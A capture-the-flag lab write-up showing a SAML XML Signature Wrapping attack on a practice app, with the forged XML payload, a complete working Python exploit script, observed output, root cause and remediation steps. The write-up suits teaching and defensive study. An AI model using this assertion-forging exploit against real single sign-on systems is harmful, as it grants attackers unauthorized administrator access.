Lab 274 — CloudPulse — SAML XML Signature Wrapping via Dual-Parser Inconsistency
Lab 274 — CloudPulse — SAML XML Signature Wrapping via Dual-Parser Inconsistency
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: assertion_cloning, role_escalation, saml_response_capture, xml_signature_wrapping
Summary
Walkthrough of the CUSTOM Web Lab 274 — CloudPulse — SAML XML Signature Wrapping via Dual-Parser Inconsistency. Task: CloudPulse uses SAML SSO with inconsistent XML node selection during signature validation and claim extraction. Solution: prepend an unsigned admin assertion to a valid signed user response, the
Description
Lab 274 — CloudPulse — SAML XML Signature Wrapping via Dual-Parser Inconsistency
CloudPulse provides a built-in SAML identity provider. The supplied credentials user@test.com / password123 produce a legitimate signed SAML response, and the goal is to escalate that user session to the administrator role.
The unauthenticated initial page also contained FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}. This was an explicit decoy and was ignored; the verified flag was obtained from /admin after exploitation.
Analysis
The challenge title points directly to XML Signature Wrapping (XSW) and a dual-parser inconsistency. A valid login supplied a response containing one signed <saml:Assertion> with these claims:
- email:
user@test.com - display name:
Sarah Mitchell - role:
user
The XML signature references that assertion by its ID. This creates an opportunity if signature verification resolves the referenced, signed assertion while the application later extracts identity data from a positional selection such as the first <saml:Assertion>.
The successful payload therefore contained two sibling assertions in this order:
xml read-only • copy allowed<samlp:Response ...> <samlp:Status>...</samlp:Status> <!-- First: attacker-controlled and unsigned --> <saml:Assertion ID="_admin_<fresh UUID>" ...> ... <saml:NameID>admin@cloudpulse.local</saml:NameID> ... <saml:Attribute Name="displayName"> <saml:AttributeValue>CloudPulse Administrator</saml:AttributeValue> </saml:Attribute> <saml:Attribute Name="role"> <saml:AttributeValue>admin</saml:AttributeValue> </saml:Attribute> </saml:Assertion> <!-- Second: original signed assertion, byte-for-byte unchanged --> <saml:Assertion ID="_original_id" ...> <ds:Signature> <ds:SignedInfo> <ds:Reference URI="#_original_id">...</ds:Reference> </ds:SignedInfo> ... </ds:Signature> ...user@test.com / role=user... </saml:Assertion> </samlp:Response>
The service accepted this structure. The verifier validated the untouched legitimate assertion, but application claim extraction consumed the first assertion and created an administrator session. No duplicate IDs or nested assertions were required.
Solution
- Use one
requests.Sessionand request/sso/saml/login, following the redirect to the built-in IdP. - Authenticate to
/idp/ssoasuser@test.comwithpassword123. - Extract and Base64-decode the legitimate
SAMLResponsefrom the returned HTML form. - Clone the signed assertion and remove
<ds:Signature>from the clone. - Give the clone a fresh ID and replace the user identity, display name, and role with the administrator values.
- Prepend the unsigned clone before the untouched signed user assertion.
- Base64-encode the modified response and submit it to
/sso/saml/acswithRelayState=/dashboard, preserving the same HTTP session. - The ACS returns
302 Location: /dashboard. Requesting/adminin that session returns HTTP 200 and the real flag.
Reproducible exploit
python read-only • copy allowed#!/usr/bin/env python3 import base64 import html import re import sys import uuid import requests TARGET = "https://f2115d66-de3b-4ac3-8157-f6632a68ab32.labs.hackadvisor.io" def obtain_signed_response(): session = requests.Session() response = session.get( TARGET + "/sso/saml/login", allow_redirects=True, timeout=15, verify=False, ) if response.status_code == 403: raise SystemExit("Lab instance expired (HTTP 403)") response = session.post( TARGET + "/idp/sso", data={"email": "user@test.com", "password": "password123"}, timeout=15, verify=False, ) match = re.search(r'name="SAMLResponse" value="([^"]+)"', response.text) if not match: raise RuntimeError("The IdP response did not contain SAMLResponse") encoded = html.unescape(match.group(1)) return session, base64.b64decode(encoded).decode() def first_assertion(xml): match = re.search( r'(<saml:Assertion\b.*?</saml:Assertion>)', xml, flags=re.S ) if not match: raise RuntimeError("No SAML Assertion found") return match.group(1) def make_unsigned_admin_clone(signed_assertion): clone = re.sub( r'\s*<ds:Signature\b.*?</ds:Signature>', '', signed_assertion, flags=re.S, ) clone = re.sub( r'ID="[^"]+"', 'ID="_admin_' + uuid.uuid4().hex + '"', clone, count=1, ) clone = clone.replace('user@test.com', 'admin@cloudpulse.local') clone = clone.replace('Sarah Mitchell', 'CloudPulse Administrator') clone = clone.replace( '<saml:AttributeValue>user</saml:AttributeValue>', '<saml:AttributeValue>admin</saml:AttributeValue>', ) return clone def main(): session, original_xml = obtain_signed_response() signed_assertion = first_assertion(original_xml) admin_assertion = make_unsigned_admin_clone(signed_assertion) # Preserve the signed assertion exactly; insert the unsigned clone first. payload = original_xml.replace( signed_assertion, admin_assertion + "\n" + signed_assertion, 1, ) acs = session.post( TARGET + "/sso/saml/acs", data={ "SAMLResponse": base64.b64encode(payload.encode()).decode(), "RelayState": "/dashboard", }, allow_redirects=False, timeout=15, verify=False, ) print("ACS:", acs.status_code, acs.headers.get("Location")) if acs.status_code not in (301, 302, 303, 307, 308): raise RuntimeError("The wrapped SAML response was rejected") admin = session.get(TARGET + "/admin", timeout=15, verify=False) print("/admin:", admin.status_code) flags = [ value for value in re.findall(r'FLAG\{[^}]+\}', admin.text) if "d3c0y" not in value ] if not flags: raise RuntimeError("No real flag found in the admin response") print(flags[0]) if __name__ == "__main__": requests.packages.urllib3.disable_warnings() try: main() except Exception as error: print("error:", error, file=sys.stderr) raise
Observed successful result:
text read-only • copy allowedACS: 302 /dashboard /admin: 200 FLAG{REDACTED}
Root Cause
The SAML consumer does not bind authorization claim extraction to the exact XML element whose signature was validated. Signature verification follows the legitimate assertion's ID reference, while the application selects the first assertion for identity and role extraction. An attacker can therefore preserve a valid signature over benign claims while introducing unsigned privileged claims elsewhere in the same document.
Remediation
- Reject responses containing an unexpected number of assertions or ambiguous assertion structures.
- Resolve the signature reference securely, validate exactly one expected assertion, and pass that same validated node directly to claim processing.
- Never run a second broad XPath query such as
//Assertion[1]after verification. - Enforce unique XML IDs and reject duplicate, nested, or otherwise ambiguous signed elements.
- Validate issuer, audience, destination, recipient, time conditions,
InResponseTo, and signature trust on the selected assertion. - Use a maintained SAML library configured with secure node-selection and wrapping-attack protections.
Key Takeaways / Lessons
- Mastering assertion_cloning, role_escalation, saml_response_capture, xml_signature_wrapping was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-07-16 • CUSTOM • Lab 274 — CloudPulse — SAML XML Signature Wrapping via Dual-Parser Inconsistency • Difficulty: Medium